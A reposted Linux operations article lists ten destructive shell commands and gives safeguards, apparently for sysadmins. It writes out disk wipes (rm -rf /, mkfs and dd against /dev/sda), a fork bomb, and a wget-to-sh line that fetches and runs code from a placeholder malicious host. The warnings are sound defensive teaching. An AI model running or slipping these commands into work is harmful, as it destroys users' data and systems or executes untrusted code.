10 Linux Commands That Can Wreck Your System (And How to Safeguard Against Them)
This guide warns about ten dangerously destructive Linux commands—most effective with root privileges—and offers practical safeguards like aliasing rm to rm -i, using virtual machines for testing, and always verifying script sources before execution.
Linux command line is powerful, efficient, and fun, but it can be dangerous when you are not certain about what you are doing.
This article introduces ten commands you should avoid using, especially with root privileges; ordinary users may only damage their own environment.
1. rm -rf command
The
rm -rfcommand is one of the fastest ways to delete directories and their contents.
A tiny typo or ignorance can cause irrecoverable system collapse.
Common
rmoptions:
rm deletes files.
rm -r recursively deletes directories, even empty ones.
rm -f forces deletion without prompting, even for read‑only files. The -f flag suppresses confirmation prompts; many distributions alias rm to rm -i for safety.
rm -rf / forcibly deletes everything under the root directory.
rm -rf * forcibly deletes all files in the current directory.
rm -rf . forcibly deletes the current directory and its sub‑directories.
To prevent accidents, add an alias for
rmin your
.bashrc:
<code>.bashrc</code>e.g.,
alias rm='rm -i'so each deletion requires confirmation.
Note: Most modern distributions already do this; if not, set it up and always think twice before using <code>-f.
2. :(){:|:&};: command
This is an example of a fork bomb.
It defines a function named
:that calls itself twice—once in the foreground and once in the background—causing exponential process creation until the system crashes.
3. command > /dev/sda
This command redirects the output of a command directly to the block device
/dev/sda.
All data blocks on the device are overwritten with the command’s output, resulting in total data loss.
4. mv folder /dev/null
This moves a folder to
/dev/null, a special file that discards all written data.
While the data disappears, it can still be recovered with specialized tools; true destruction requires dedicated software.
5. wget http://malicious_source -O- | sh
This command downloads a script from a potentially malicious source and immediately executes it.
Always verify the source of any downloaded script or program and only use trusted repositories.
6. mkfs.ext3 /dev/sda
This formats the block device
/dev/sda, erasing all data and rendering the system unrecoverable.
Typically you would not operate directly on a raw device; partitions like
sda1are used instead, but formatting any block device is destructive.
7. > file
This command truncates a file or writes command output to it.
If the target file contains important data, it will be lost permanently, often beyond the reach of recovery tools.
Use
>>to append instead of overwriting.
8. ^foo^bar
This edits the previously executed command without retyping the whole line.
If you modify a command without fully understanding the change, you may cause serious trouble.
9. dd if=/dev/random of=/dev/sda
This writes random data to the block device
/dev/sda, effectively wiping the disk and making the system unstable or unrecoverable.
Repeated overwrites increase the certainty of data destruction.
10. Hidden command
The hidden command is essentially another
rm -rfdisguised in hexadecimal; an unwary user could run it and erase the root partition.
The danger lies in its concealment, making it hard to detect.
Never compile or run code from unknown sources.
Test these commands only in a virtual machine; otherwise you risk data loss or system crashes.
Source: 马哥Linux运维
Efficient Ops
This public account is maintained by Xiaotianguo and friends, regularly publishing widely-read original technical articles. We focus on operations transformation and accompany you throughout your operations career, growing together happily.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.